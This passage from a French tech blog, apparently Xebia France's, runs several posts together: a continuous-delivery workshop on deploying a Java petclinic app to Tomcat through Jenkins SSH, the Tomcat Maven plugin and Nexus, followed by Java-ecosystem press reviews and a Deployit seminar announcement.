La saison est au Continuous Delivery ! Venez découvrir comment automatiser le déploiement d’une application java web typique sur des serveurs Tomcat via une usine GitHub/Jenkins/Nexus.

Nous verrons plusieurs techniques de déploiement, de la plus simple à la plus sophistiquée :

1. déploiement sur Tomcat avec des commandes shell lancées par Jenkins au lieu de les lancer à la main ;
2. utilisation du tomcat-maven-plugin avec les conseils d’Olivier Lamy, lead developer du plugin et committer Tomcat ;
3. homogénéisation des déploiements du dev à la prod avec Jenkins associé à Rundeck pour gérer des commandes shell. Vincent Behar, committer Jenkins et ‘owner’ du jenkins-rundeck-plugin nous présentera cet outil Open Source en vogue chez les OPS ;
4. DeployIt : l’outil intégré d’automatisation des déploiements made in Xebia.

Pour avoir plus de détails sur le déroulement de l’atelier et pour vous inscrire, nous vous invitons à utiliser la page dédiée sur Eventbrite.

Dans l’esprit DevOps, il faut avoir un mode de déploiement le plus tôt possible identique à celui de la production. L’approche par script convient ainsi à un maximum d’environnements possibles (du test jusqu’à la production).
Pour ce faire, le script sera placé sur le serveur distant et exécuté à distance.

Le but de cet article est de vous proposer une solution pour déployer une application web sur un serveur Tomcat distant à chaque commit sur votre repository. Pour cela, nous allons utiliser le plugin Remote SSH pour Jenkins.

Prérequis

Lors de l’atelier, les différents outils étaient fournis sur des machines virtuelles Linux sur Amazon EC2. Si vous souhaitez refaire les manipulations sur votre poste, vous aurez besoin d’installer :

• un JDK
• Apache Maven
• Nexus
• Jenkins
• Apache Tomcat 6
• le script de déploiement créé pour l’atelier, disponible ici : tomcat-deploy-petclinic.

Il vous faudra donc une machine distante avec un serveur SSH si vous souhaitez réaliser cet exemple.

Téléchargement du projet d’exemple

Nous avons mis à disposition un projet d’exemple xebia-petclinic-lite sous GitHub. Pour tester cet article, vous pouvez cloner ce projet. Nous avons déjà décrit cette partie dans notre précédent article.

git clone https://github.com/xebia-france-training/xebia-petclinic-lite.git

Vous devez avoir un serveur Nexus installé en local. Une fois installé, vous devez changer dans le pom.xml les URLs des repositories avec vos valeurs (le serveur Nexus des Xebia Tech Events n’est actif que pendant les ateliers).

<distributionManagement>
 <repository>
  <id>xebia-tech-event-nexus-releases</id>
  <name>Xebia Tech Event Nexus Releases</name>
  <url>http://votreNexus/content/repositories/releases</url>
 </repository>
 <snapshotRepository>
  <id>xebia-tech-event-nexus-snapshots</id>
  <name>Xebia Tech Event Nexus Snapshots</name>
  <url>http://votreNexus/content/repositories/snapshots</url>
 </snapshotRepository>
</distributionManagement>

Ensuite, un « mvn deploy » permettra d’avoir un projet fonctionnel déployé dans votre repository.

Création du script

Le script shell que nous allons créer doit assurer les fonctions suivantes :

• Arrêter Tomcat,
• Supprimer le war et les dossiers de l’application dans webapps et temp,
• Télécharger une version de l’application depuis Nexus,
• Démarrer Tomcat,
• Effectuer un test de connexion HTTP à la page principale de l’application pour vérifier le bon démarrage de l’application déployée.

Pour le téléchargement du war, nous faisons appel à l’API REST du serveur Nexus. Nous allons utiliser le service /artifact/maven/content, dont voici les paramètres :

• g : Group id de l’artéfact (Obligatoire).
• a : Artifact id de l’artéfact (Obligatoire).
• v : Version de l’artéfact (Obligatoire) Supporte les mots-clés comme « LATEST », « RELEASE » et les version SNAPSHOT ou non (« 1.0-SNAPSHOT », « 1.2.3′ …).
• r : Identifiant du repository Nexus qui contient l’artéfact (Obligatoire). Attention, par défaut, les artéfacts versionnés et les snapshots ne sont pas stockés dans le même repository. Donc pensez à mettre le bon identifiant de repository ici « releases » ou « snapshots » (rechercher des versions SNAPSHOT dans le repository RELEASES ne va pas être simple !). Petite astuce, vous pouvez aller voir dans votre settings.xml de Maven pour connaitre les repositories (normalement, seulement présent sur le serveur d’intégration continue).
• p : Type de packaging de l’artéfact (Optionnel, par défaut il vaut .jar, donc pour un .war, il faut bien penser à le spécifier).
• c : Qualificatif de l’artifact (Optionnel, voir la notion d’identifier dans MAVEN).
• e : Extension de l’artéfact (Optionnel) A VOIR

Ainsi, télécharger la dernière snapshot d’un artefact peut se faire grâce à une simple commande CURL sous Unix, dont voici un exemple :

curl "http://nexus.xebia-tech-event.info:8081/nexus/service/local/artifact/maven/content?g=fr.xebia.demo.petclinict&a=xebia-petclinic-lite&r=snapshots&v=LATESTS&e=war" \
   --silent \
   --show-error  \
   --output "/opt/tomcat/apache-tomcat-6/webapps/xebia-petclinic-lite.war"

Comme dit plus haut, le serveur Nexus du Xebia Tech Event est démarré uniquement pendant les ateliers, inutile donc d’essayer cette URL depuis chez vous !

Pour vérifier le bon démarrage de Tomcat, on peut de nouveau utiliser la commande CURL pour vérifier si l’application est bien déployée. En voici un exemple :

curl --connect-timeout 10 --retry 10 --silent --show-error -w "%{http_code}" -o /dev/null http://localhost:8080/xebia-petclinic-lite

Vous pouvez retrouver le script complet qui nous a servi pendant l’atelier sur tomcat-deploy-petclinic. Seules quelques adaptations seront nécessaires pour utiliser ce script sur vos environnements de production (changement de groupId, d’URL de repository Nexus, etc).

Le plugin Remote SSH pour Jenkins

Notre script est maintenant prêt. Il ne vous reste plus qu’à le transférer vers votre machine distante (par SCP ou FTP, comme bon vous semble). Une fois sur le serveur, vous pouvez le lancer « à la main » pour vérifier qu’il fonctionne.

Dans notre exemple, nous nous authentifions sur les serveurs grâce à des clés privées, mais le reste de l’exercice peut aussi se faire avec un login et un mot de passe si vous le souhaitez.

Le Jenkins Remote SSH Plugin permet de se connecter à un serveur distant et d’y exécuter une série de lignes de commande. Un des avantages majeurs de la solution est qu’elle n’est pas intrusive. En effet, il n’y a pas d’agent spécifique à installer sur la machine, un simple accès SSH suffit. La gestion des clés et mots de passe se trouve ainsi centralisée dans Jenkins.
Lancer le script fait donc parti d’un job Jenkins. On pourra ainsi créer des workflows avec une succession de jobs.

Installation et configuration du plugin

Pour installer le plugin, rendez-vous dans la partie Administrer Jenkins, Gestion des plugins, puis dans l’onglet Disponible. Cochez la ligne devant le plugin, puis cliquez sur le bouton Installer qui se trouve tout en bas de la page.

Une fois le plugin installé, il faut configurer la liste des hôtes que nous voulons utiliser dans nos Builds. Pour cela, rendez vous dans la partie Administrer Jenkins, Configurer le système. Vous avez accès une section SSH Remote hosts dans laquelle nous allons déclarer les hôtes. Les boutons Ajouter et Supprimer permettent de gérer facilement la liste. Ensuite, il n’y a plus qu’à remplir les hôtes avec les informations suivantes :

• Hostname : serveur hébergeant votre Tomcat (Obligatoire),
• Port : d’écoute SSH (Optionnel, 22 par défaut),
• User Name : nom de l’utilisateur qui sera connecté au serveur (Obligatoire),
• Password/Passphrase : si vous utilisez une authentification simple, c’est ici qu’on ajoute le mot de passe, sinon cela peut aussi être la passphrase (Optionnel),
• Keyfile : si vous utilisez une authentification avec clé privée, on ajoute ici le chemin vers la clé qui doit se trouver sur le même serveur que Jenkins (Optionnel).

Petit inconvénient, il est impossible de créer un alias pour la configuration de chaque serveur. De plus, la liste des hôtes est unique pour toute l’instance Jenkins. Si plusieurs projets sont présents sur l’instance, avec des noms d’hôtes relativement similaire, cela peut nuire à la lisibilité.

Exploitation du script

Après avoir installé votre script sur la machine Tomcat et avoir déclaré ce serveur Tomcat dans Jenkins, nous allons maintenant configurer l’invocation du script.
Pour cela, il suffit de créer un projet Free-style dans Jenkins, de cocher l’option Execute shell script on remote host using SSH.
Sélectionnez ensuite l’hôte qui vous intéresse, puis dans la partie Post-build script, ajoutez la commande de lancement de votre script shell (par exemple /usr/local/script/deploy_on_tomcat ).
Vous pouvez lancer le job pour vérifier son fonctionnement.
Nous avons créé un job séparé ici, mais rien ne vous empêche de l’intégrer directement dans votre build Jenkins principal. Si vous déclenchez une intégration continue à chaque commit sur le dépôt de source, vous allez ainsi faire du déploiement continu sur votre serveur.
Si l’on possède plusieurs machines, il faudra par contre créer plusieurs jobs différents (c’est-à-dire créer plusieurs projets Free Style). L’hôte n’est pas paramétrable.

Conclusion

Pour résumer, nous pouvons dresser le bilan suivant de l’utilisation du jenkins-ssh-plugin pour automatiser le déploiement depuis Jenkins sur des serveurs Tomcat :

Avantages

• Simple et rapide à mettre en place,
• Pas d’agent à installer sur les serveurs,
• Gestion centralisée des accès aux machines,
• Se branche facilement sur l’intégration continue pour un déploiement continu en 0 clic,
• Compatible avec un mode de livraison en production (avec un bon script bien robuste, rien n’est impossible !).

Inconvénients

• Liste statique des hôtes
• Tous les hôtes sont à un seul endroit dans la configuration, cela devient compliqué à gérer avec un nombre croissant d’environnements,
• Le job est lié à la machine sur laquelle il exécute le script,
• Impossible de déployer l’application sur plusieurs machines, sauf à créer plusieurs jobs,
• Le script doit être déployé préalablement sur le(s) serveur(s) Tomcat.

• Olivier Lamy, architecte chez Talend, membre de la fondation Apache et committer sur Tomcat et sur Jenkins
• Vincent Behar, ingénieur Java à Exalead, owner du plugin Rundeck pour Jenkins et cofondateur de Paris Devops, 

Merci à eux pour leur participation à la préparation de l’atelier ainsi qu’à sa présentation.

Flickr est l’exemple le plus évoqué à l’heure actuelle de déploiement continu. Il existe bien d’autres exemples connus comme Outbrain, Wealthfront ou Etsy. Même si le nombre d’entreprises qui arrivent à ce niveau de maturité est encore faible, il est possible qu’à l’avenir cette méthode devienne une technique courante dans les projets avec la progression de l’agilité. Son implémentation oblige, en effet, à accomplir quelques principes du manifeste agile, dont par exemple :

Ainsi qu’à en pousser d’autres :

Quels sont les points forts du déploiement continu ?

• Etre au plus près des attentes du marché (le fameux Time to market) en fournissant aux utilisateurs les fonctionnalités qu’ils attendent dès qu’elles sont prêtes.
• Minimiser le risque d’échec d’un gros déploiement.
• Avoir un retour rapide des utilisateurs réels de l’application sur les nouvelles fonctionnalités de la version.
• Une livraison fréquente permet aux utilisateurs de s’habituer progressivement aux nouveaux environnements ergonomiques.

En revanche, l’implémentation du déploiement continu ne doit pas être sous-estimée. Sa mise en place oblige à une grande rigueur :

• Automatisation de toutes les phases de build, test et déploiement,
• Configuration centralisée du déploiement et exécution sur chaque environnement,
• Une haute disponibilité de l’infrastructure de production afin d’éviter les coupures de service,
• Une couverture des tests exemplaire. Si les tests unitaires, d’intégration et d’acceptance passent, l’application répond aux besoins et peut en théorie partir en production à tout moment.
• Communication fluide entre l’exploitation, les DBAs et les développeurs. Dans la ligne de ce que le mouvement Devops préconise, on doit éviter les fractures organisationnelles et développer un environnement collaboratif en donnant priorité au bon fonctionnement du système.

Notre atelier

Présentation globale de l’architecture

Revenons sur l’atelier. Le but de la soirée, par binôme, est de mettre la main à la pâte et configurer du déploiement continu. Pour ce faire, nous avons présenté comment déployer sur Tomcat l’application web modèle de Spring petclinic sur des instances Amazon EC2. Les méthodes proposées étaient les suivantes :

• Le plugin Tomcat Maven
• Le plugin SSH pour Jenkins
• Rundeck et le plugin Rundeck pour Jenkins
• Deployit, de XebiaLabs

Afin de tester les différents outils, voici l’architecture utilisée:

• Une instance Amazon avec un Nexus pour gérer les artifacts de tous les assistants.
• Un repository xebia-petclinic-X sur GitHub pour chaque équipe/binôme (où chaque équipe avait un numéro X associé)
• Une instance Amazon EC2 avec un Jenkins, un Rundeck et un Deployit par équipe
• Trois instances Amazon EC2 dont deux avaient un Tomcat qu’on a appellé “valid” (ou de production) et le troisième un Tomcat de “dev” (ou d’intégration/qualité)

Cette infrastructure est générée à chaud au début de chaque atelier avec un script écrit en java. Pour vous faire une idée, le nombre de nœuds créés pour chaque atelier a été autour des 45 (20 participants regroupés en binômes). Le démarrage des instances Amazon Linux a été fait avec le package d’AWS SDK pour Java. Pour l’initialisation et configuration de Nexus, Jenkins, Rundeck et Tomcat, nous avons utilisé le package d’Ubuntu Cloud-init. Puisque le serveur Nexus est partagé par tous les utilisateurs de l’atelier, une adresse Elastic-IP d’Amazon lui est assignée à son démarrage. La création automatique de chaque repository github par binôme a été faite avec l’API V2 de GitHub. Pour ceux intéressés à avoir plus des détails sur la création et l’initialisation des instances Amazon pour ce workshop, sachez que dans les prochains jours nous publierons à ce propos un nouveau billet.

Présentation de Apache Tomcat Maven Plugin

La première méthode de déploiement proposée utilise le plugin Apache Tomcat Maven. Olivier Lamy nous a fait une présentation des fonctionnalités de ce plugin qui facilite les opérations sur les wars quand on déploie sur Tomcat. Voici quelques-uns des goals disponibles :

• tomcat:run permet de déployer un war sur un tomcat embarqué. Le plugin délègue à maven le téléchargement automatique des jars pour pouvoir l’exécuter. Cela permet le rechargement à chaud des jsp, css, html …
• tomcat:deploy déploie un war dans un tomcat démarré.

Ainsi que les nouvelles fonctionnalités à venir :

• Support pour tomcat 7
• Un nouveau goal qui permettra de créer un jar standalone pour pouvoir exécuter le war sur tomcat. Le jar inclura la webapp aussi que tous les jars de tomcat nécessaires.
  Par exemple : mvn tomcat7:exec-war génère un jar my-project-exec-war.jar
  jar -jar my-project-exec-war.jar lance le tomcat avec la webapp avec une configuration par défaut. Il est aussi configurable en renseignant des paramètres (-httpPort -ajpPort…)

Durant le workshop, nous avons utilisé le goal « tomcat : deploy » afin de déployer l’application exemple en local, puis sur l’instance Amazon avec le Tomcat de Dev. Pour cela, il suffit de rajouter le plugin tomcat maven au pom.xml du projet comme ci-dessous :

<plugin>
     <groupId>org.apache.tomcat.maven</groupId>
     <artifactId>tomcat6-maven-plugin</artifactId>
     <version>2.0-SNAPSHOT</version>
     <configuration>
          <update>true</update>
     </configuration>
</plugin>

A noter qu’il faut aussi avoir installé Tomcat Manager sur l’instance Tomcat cible puisque le goal utilise le Tomcat Manager de l’instance et un upload HTTP pour déployer le war sur le serveur dont l’url sera spécifiée dans le paramètre -Dmaven.tomcat.url. Le login et le password pour Tomcat Manager devront aussi être passés dans la commande :

mvn tomcat6:deploy -Dtomcat.password=admin -Dtomcat.username=admin -Dmaven.tomcat.url=http://ecX-XX-XX-XXX.eu-west-1.compute.amazonaws.com:8080/manager

Ce goal peut aussi être rattaché à la phase de deploy d’un profil en particulier (dans l’exemple ci-dessous, tdeploy) :

mvn deploy -Ptdeploy

Si vous souhaitez refaire la manipulation chez vous, il vous suffit de cloner le projet, depuis https://github.com/xebia-france-training/xebia-petclinic-lite.

Puis exécuter le goal précédemment donné pour effectuer la manipulation.

Conclusions

Suite à l’exercice de déploiement avec le plugin, nous pouvons faire les conclusions suivantes:

Déploiement avec Tomcat Maven Plugin

Simple à mettre en place Simple à utiliser	Tomcat Manager est déconseillé en production Tomcat Manager ne redémarre pas la JVM : risque de fuite de mémoire Mode léger pour la production (login/password) Il n’est pas très adapté au cluster : impossibilité de déployer sur plusieurs instances en parallèle

Si on compare le déploiement via ce plugin avec les méthodes que nous présenterons dans nos prochains billets (le plugin SSH pour Jenkins, Rundeck ou Deployit), vous verrez qu’il s’éloigne quelque peu des méthodes habituelles d’installation d’un livrable en production. Une mise en production se résume rarement à simplement déployer un war sur un seul serveur Tomcat via HTTP. En effet, l’application pourrait être clusterisée, il pourrait y avoir besoin de copier des fichiers de configuration supplémentaires, ou encore de passer des scripts SQL. Comme vous le verrez après, les autres alternatives se basent sur un script shell qui laisse la porte ouverte à d’autres opérations.

Dans nos prochains billets, nous vous présenterons le déploiement via le plugin SSH pour Jenkins, Rundeck ainsi qu’un dernier article dédié à la création automatique de l’infrastructure utilisée dans ce workshop.

Actualité éditeurs / SSII

• Valider vos méthodes avec Hibernate Validator 4.2.0
• Distribuer vos logs avec Kafka 0.6
• Une implémentation NIO du connecteur AJP de Tomcat

Evénements de notre communauté en France et à l’étranger

• Un déplacement plein d’enseignements

Actualité éditeurs / SSII

Valider vos méthodes avec Hibernate Validator 4.2.0

Pour rappel, comme nous l’avions déjà évoqué ici, Hibernate Validator permet de faire de la validation de bean suivant la JSR-303 – Bean Validation. Cette JSR propose de standardiser les mécanismes de validation qu’un développeur est souvent amené à faire à la main en utilisant entre autre des annotations ou alternativement des fichiers xml. Cette normalisation a l’avantage d’uniformiser au sein d’une même application les couches de présentation (des frameworks de présentation comme Wicket par exemple propose leur solution), les couches de service ou de persistence avec les mêmes outils.

A titre d’exemple:

public Person {
	@NotNull
	private String name;
	@Past
	private Date birthday;
}

où @Past contraint que la date soit dans le passé.

Hibernate Validator est la version d’implémentation de cette JSR et contrairement à ce qu’on pourrait croire n’impose pas d’utiliser Hibernate. D’ailleurs JBoss/Hibernate propose un TCK pour les développeurs désireux de valider leur validateur.

La grande nouveauté de cette version est la possibilité de faire de la validation au niveau de la méthode:

public @NotNull String saveItem(@Valid @NotNull Item item, @Max(23) BigDecimal price)

Comme on peut remarquer, il est à présent possible de valider les paramètres ainsi que la valeur de retour d’une méthode. Pour valider cette méthode il faut ensuite créer un validateur:

MethodValidator validator = Validation.byProvider( HibernateValidator.class )
    .configure()
    .buildValidatorFactory()
    .getValidator()
    .unwrap( MethodValidator.class );

Et ensuite utiliser une des méthodes du validateur:

public interface MethodValidator {
    public <T> Set<MethodConstraintViolation<T>> validateParameter(T object, Method method, Object parameterValue, int parameterIndex, Class<?>... groups);
    public <T> Set<MethodConstraintViolation<T>> validateParameters(T object, Method method, Object[] parameterValues, Class<?>... groups);
    public <T> Set<MethodConstraintViolation<T>> validateReturnValue(T object, Method method, Object returnValue, Class<?>... groups);
}

On peut trouver le mécanisme un peu rébarbatif si on doit répéter l’opération sur chaque méthode et pour chaque paramètre mais, comme le suggère ce post, on peut facilement l’associer à un aspect pour automatiser ces validations.

Parmi les autres nouveautés on peut également à présent combiner les contraintes autrement que par conjonction et un nouveau mécanisme de templating des exceptions a été ajouté. Les détails de la release se trouvent ici, ici et là

Distribuer vos logs avec Kafka 0.6

Comme nous vous l’avions annoncé il y a un peu plus de 6 mois dans la revue de presse, LinkedIn a rendu open source son broker de messages atypique Kafka. A l’occasion de la sortie de la version 0.6 Neha Narkhede, ingénieur chez LinkedIn, nous rappelle les cas d’utilisation principaux de Kafka:

• Collecter des logs pour les insérer dans Hadoop ou dans un data warehouse pour une analyse offline.
• Nourrir directement des applications en écoute d’alertes en temps réel (pour la sécurité par exemple).
• Déployer les données recueillies d’Hadoop vers des applications.

Ces cas d’utilisation ont grandement guidé l’architecture de Kafka qui accentue beaucoup plus la rapidité à envoyer les messages, la garantie de persistence et le clustering au détriment d’une plus grande responsabilisation des consommateurs de messages qui ont en charge l’acknowledgement et la découverte de la topologie des brokers.

Parmi les nouveautés de cette nouvelle version on notera:

• Ajout d’un load balancing automatique pour les producteurs de messages. En masquant la topologie du cluster, Kafka peut s’appuyer sur un load balancer hardware et utilise zookeeper pour la partie logique.
• Possibilité d’envoyer de façon asynchrone les messages.
• Possibilité d’enrichir sémantiquement les partitions afin par exemple de rapprocher les données liées au niveau du métier

Un très bon article des ingénieurs de LinkedIn décrit très bien l’architecture de Kafka dans le cas de la génération de logs et qui contient des comparatifs, à prendre avec beaucoup de précaution, avec ActiveMQ et RabbitMQ. Je vous laisse deviner le grand vainqueur.

Une implémentation NIO du connecteur AJP de Tomcat

Cela aurait pu passer inaperçu car cette fonctionnalité a été ajoutée dans la version mineure de Tomcat 7.0.16, le connecteur AJP implémente à présent l’API New I/O pour gérer ses pools de threads. Un article très pédagogique de Mark Thomas, ingénieur chez SpringSource, met en lumière cette nouvelle fonctionnalité.

Jusqu’à maintenant à un thread sur un serveur Apache HTTPD, par exemple, devait correspondre un thread du côté des serveurs Tomcat. Donc pour 1000 threads sur deux serveurs HTTPD devaient correspondre 2000 threads sur chaque serveur Tomcat branché derrière. On comprend vite la complexité et les limitations engendrées.

Cette nouvelle implémentation permet de gérer plus intelligement ces threads côté Tomcat, à l’aide de quelques threads (l’article recommande pas plus de 10) on peut maintenir un ensemble de connections sans problème.

Un grand pas pour les utilisateurs de ce connecteur, sans oublier qu’il existe également le mod_proxy_http, la comparaison entre les deux étant détaillés dans notre article ici.

Evénements de notre communauté en France et à l’étranger

Un déplacement plein d’enseignements

Cette RDP est l’occasion de faire un petit bilan sur le court déplacement, début juin, de 3 de nos Xebians Parisiens chez nos collègues Néerlandais. L’objectif de ce voyage était triple:

• Favoriser les échanges d’expériences sur la transition vers l’agilité
• Passer en revue le modèle de pépinière interne
• Renforcer les liens entre entités

Jean-Laurent et Gilles ont apporté leur contribution au XKE Néerlandais en présentant chacun un sujet aux membres de la business unit Agile Consulting and Training (ACT), l’un sur l’évolution d’une équipe agile dans la durée, l’autre sur la transformation agile à grande échelle. Pendant ce temps Aurélien a longuement discuté des projets pépinières chez Xebia NL et du modèle de contribution associé. La journée s’est terminée par une présentation de l’ensemble des missions en cours au sein de ACT portant sur la transition des organisations vers l’agilité. Les références de nos voisins sont impressionnantes et nous repartons avec des nouveautés plein la tête. 

Si nous ne devions retenir qu’une chose de ce voyage ce serait sans aucun doute la découverte du livre Business Model Generation qui présente un canevas simple et puissant pour discuter et formaliser un business model. Un outil qui nous paraît indispensable pour le Product Owner et son travail de priorisation et valorisation de ses stories.

Nous avons également découvert des obstacles à l’agilité que nous connaissons peu en France, certaines entreprises pratiquent par exemple la politique de bureau libre, ce qui empêche fortement la colocalisation. Nous repartons plus riches de nos différences culturelles quant à la mise en application de SCRUM et des pratiques agiles. Pour un voyage dans la patrie de Gert Hofstede, le fondateur de la théorie des dimensions culturelles, ce n’est peut être pas si étonnant.

Les tâches de déploiement et de configuration des applications deviennent ainsi bien souvent un goulet d’étranglement quand elles ne sont pas un frein à l’activité.
Deployit, de la société XebiaLabs, a été conçu en collaboration avec KLM/Air France pour adresser cette problématique. Il est aujourd’hui mis en oeuvre avec succès par de nombreuses sociétés dans des secteurs très variés.

Les bénéfices de Deployit

• Réduire jusqu’à 95% des erreurs de déploiement et jusqu’à 50% de vos coûts de déploiement classique
• Réduire les temps d’attente des équipes via des déploiements en self-service et continus
• Standardiser les procédures de déploiement entre différents environnements
• Fluidifier les relations entre départements études, intégration/recette et production
• Augmenter contrôle et visibilité sur votre processus de déploiement applicatif
• Accélérer votre time-to-market

Programme du séminaire : le 29 avril de 9h45 à 11h45, 156 bd Haussmann 75008 Paris

• 9h45 : accueil
• 10h : présentation des enjeux du déploiement applicatif et de la solution Deployit
• 10h30 : démonstration produit
• 11h : retour d’expérience client Karavel/Promovacances

Public cible : Directeur Informatique, Responsable des Développements / Etudes, Responsable Intégration / QA / Tests, Responsable Production / Exploitation, Responsable Qualité, Architecte, Chef de projet

Inscription: http://www.xebialabs.com/seminaire-deploiement-automatique

Actualité éditeurs / SSII

• Hudson devient Jenkins
• Tomcat 6.0.30 et Tomcat 7 devient stable

Le coin de la technique

• Hors-série Linux Magazine « Développement Android »

Actualité éditeurs / SSII

Hudson devient Jenkins

La nouvelle n’a sans doute pas échappé aux plus avertis d’entre nous, Hudson, le célèbre serveur d’intégration continue, va être renommé en Jenkins. Ce changement est motivé par la volonté de se protéger contre d’éventuels blocages de la part d’Oracle sur les développements du projet. En effet Hudson a été créé par Kohsuke Kawaguchi, alors qu’il travaillait chez Sun, depuis racheté par Oracle qui juridiquement possède la marque Hudson. Ce dernier point donne la possibilité à Oracle de bloquer ce projet sous ce nom et le renommage permettra de se défaire complètement de cette contrainte.

Andrew Bayer décrit les différentes étapes qui vont suivre cette annonce:

• déposé le nom, créer les comptes twitter…
• migrer les infrastructures du projet en-dehors de serveurs Oracle et renommage des différents composants.
• Andrew Bayer, Kohsuke Kawaguchi et peut-être Winston Prakash, qui a repris le projet chez Oracle, formeront une gouvernance par intérim, le temps d’organiser des élections.

Tout en se détachant de l’emprise d’Oracle, il y a la volonté que l’entreprise reste actif dans le projet. Cet épisode souligne malgré tout la méfiance de la communauté envers Oracle.

Tomcat 6.0.30 et Tomcat 7 devient stable

Après plusieurs versions correctives de la bêta, Mark Thomas a officialisé la version 7.0.6 du célèbre serveur Java, comme la première version stable de Tomcat 7. Avec cette annonce Tomcat rejoint Glassfish 3 dans le cercle fermé des implémentations stables de servlet 3.0. Parmi les nouveautés de cette version, on notera, la présence d’une nouvelle distribution binaire spécialisée pour embarquer le serveur dans d’autres applications. Sans doute une façon de répondre à la forte adoption de Jetty dans ce domaine. Cette version corrige surtout les derniers bugs majeurs comme une importante fuite mémoire dans le connecteur NIO. Elle contient donc une longue liste de corrections accompagnées de menues améliorations (Voir le changelog).
Notez enfin, la sortie d’une version corrective de Tomcat 6 corrigeant là encore un grand nombre de bugs(Voir le changelog).

Le coin de la technique

Hors-série Linux Magazine « Développement Android »

Dans revue de presse, il y a « presse ». Et il est vrai que nous ne parlons pas souvent de la presse classique. Vous savez, celle faite de papier plutôt que de HTML. Celle à qui il manque les hyperliens mais qui en revanche ne tombe jamais à court de batterie. Celle qui sort, début janvier, un magazine labellisé « février/mars »… Et c’est justement le cas du Linux Magazine Hors-série spécial développement Android sorti récemment. Mis au courant par FrAndroid, nous nous sommes rués en kiosque.
Et c’est du costaud ce hors-série! Sur 80 pages, Philippe Prados nous fait découvrir comment réaliser une application Android qui s’intègre dans le système de contact et se synchronise sur un serveur LDAP distant. Pour tout vous dire, il y a du travail.
Vous aurez l’occasion de revenir sur les notions spécifiques d’Android que sont les termes d’activités, de Content Provider, d’Intent… Les IPC, souvent peu abordés sur Android sont aussi expliqués. Ainsi, l’application contacts classique d’Android, se trouvera augmentée d’un mécanisme d’aller-retours avec l’application présentée qui fournira le contenu LDAP, lui-même obtenu depuis un fournisseur de contenu. L’intégration à la recherche globale Android est aussi de la partie, ainsi qu’un wizard de création de compte pour le fournisseur d’authentification nécessaire à la synchronisation des contacts avec LDAP.
Et encore, tout ceci n’est qu’un petit aperçu de ce qui vous attend dans le magazine. L’auteur a essayé un maximum de s’intégrer dans le système, et il semble que bien souvent, c’est grâce à la disponibilité des sources des applications standards qu’il a pu comprendre certains mécanismes peu documentés.
Un petit grief tout de même: la lecture est assez ardue et il faut attendre la toute fin (page 73) pour savoir où se procurer les sources… Et se rassurer en prenant connaissance de leur disponibilité qui n’est pas clairement annoncée dès le début. Bref, une lecture inestimable pour qui veut produire plus qu’une banale application et s’intégrer complètement au système de Google.

Actualité éditeurs / SSII

• Une étude américaine prédit une pénurie d’informaticiens pour bientôt.

SOA

• La future version 1.4 de Smooks supportera les messages UN/EDIFACT

Serveurs d’applications / Cloud Computing

• Tomcat 7 sort en BETA
• Google App Engine 1.3.5 et toolkit Paypal

Le coin de la technique

• Hibernate Validator 4.1.0

Evènements de notre communauté en France et à l’étranger

• Le ParisJUG et l’AvantJUG

Actualité éditeurs / SSII

Une étude américaine prédit une pénurie d’informaticiens pour bientôt.

C’est à la fois une bonne et une mauvaise nouvelle qui est sortie d’un étude américaine sur le marché de l’informatique, rapportée par infoQ : la bonne nouvelle, elle est pour les techniciens que nous sommes, car nous devrions avoir du travail pendant un long moment. La mauvaise nouvelle est pour nos employeurs, qui vont avoir de plus en plus de mal à recruter.
Les prévisions qui ressortent de cette étude sont les suivantes :

• la croissance du secteur informatique devrait être quatre fois supérieure à celle des autres métiers de l’ingénierie dans les années à venir.
• aux Etats Unis, il y a deux fois plus d’offres que de diplômés chaque année. C’est le seul métier scientifique pour laquelle l’offre est supérieure à la demande.

En parallèle de l’augmentation des besoins, il semble que les étudiants percoivent les métiers de l’informatique de manière erronée :

• Tous les postes motivant sont exportés en Inde. Le mouvement global (aussi bien aux Etats Unis qu’en Europe) est plutôt à un retour des activités intéressantes en local, et une exportation des taches à faible valeurs ajoutées.
• C’est un métier d’homme. Ce fait avéré est en train de changer, en partie grâce à certaines initiatives locales (voir ci-dessous). Même si la balance est loin d’être équilibrée, il semblerait que de plus en plus de demoiselles choisissent les carrières techniques. C’est à nos communautés de les convaincre de les poursuivre !
• L’informatique, c’est programmer, et programmer c’est rester toute la journée devant un écran. Tous les consultants vous le diront, même si ils ne pratiquent pas l’XP, l’informatique est une activité sociale
• C’est trop difficile. S’il est sûr que comprendre les algorithmes de GC en détail relève parfois de la mission impossible, tous les chefs de projets ou scrum master vous le diront : travailler dans l’informatique, c’est avant tout gérer son stress, gérer ses connaissances (et les augmenter au fur à et mesure) et se montrer inventif.

Il existe ainsi un certain nombre de mythes, que certains professeurs américains tentent de démonter.

Les défis à venir sont énormes, puisqu’il va falloir réconcilier le désamour des étudiants pour les carrières informatiques, et les besoins des entreprises qui s’annoncent énormes. Bien heureusement, un certain nombre d’acteurs français essayent de proposer une vision du marché de l’informatique plus humaine que d’autres.

A ce propos, vous savez que Xebia recrute ?

SOA

La future version 1.4 de Smooks supportera les messages UN/EDIFACT

L’équipe de développement de Smooks vient d’annoncer le support du traitement des messages EDI (Échange de Données Informatisées) au format UN/EDIFACT Interchange, dans la future version du projet.

Pour rappel Smooks est un framework Java offrant un moteur de traitement des données XML et non XML (CSV, EDI, Java, etc.). Il est capable d’effectuer des transformations de données en s’appuyant sur des transformations existantes, ou en utilisant des technologies de templating telles que XSLT, Freemarker, StringTemplate, etc. Smooks permet également d’analyser un flux de données afin de remplir un modèle d’objets Java (Java Bean Binding).

Le framework Smooks peut prendre en charge les modèles de traitement DOM et SAX, ce qui signifie qu’il est capable de traiter aussi bien un fichier qu’un flux de données.

Ainsi, les messages EDI pourront être traités grâce à deux nouvelles fonctionnalités :

• Un module de lecture dédié au format UN/EDIFACT Interchange (<unedifact:reader>), qui permettra de transformer un message EDI de manière automatique dans un format XML compréhensible par le moteur de traitement de Smooks.

• Un outil pour Maven et ANT, appellé EDI Conversion Tool (ECT), embarquant directement les référentiels UN/EDIFACT, et offrant la possibilité de générer un Jar contenant les fichiers de mapping Smooks correspondant au message EDI traité.

Avec ces nouvelles fonctionnalités, Smooks propose une véritable alternative Open Source et performante aux solutions propriétaires pour le traitement des messages EDI au format UN/EDIFACT. Déjà intégré au sein de Mule ESB et de JBoss ESB, Smooks devient de plus en plus incontournable au sein des architectures SOA s’appuyant sur des solutions Open Source.

Ces nouveautés sont déjà disponibles dans la version 1.4-SNAPSHOT, téléchargeable directement depuis le repository Maven du projet.

Pour en savoir plus :

• L’annonce sur le blog de Smooks
• Le site du projet Smooks
• Le format UN/EDIFACT Interchange

Serveurs d’applications / Cloud Computing

Tomcat 7 sort en BETA

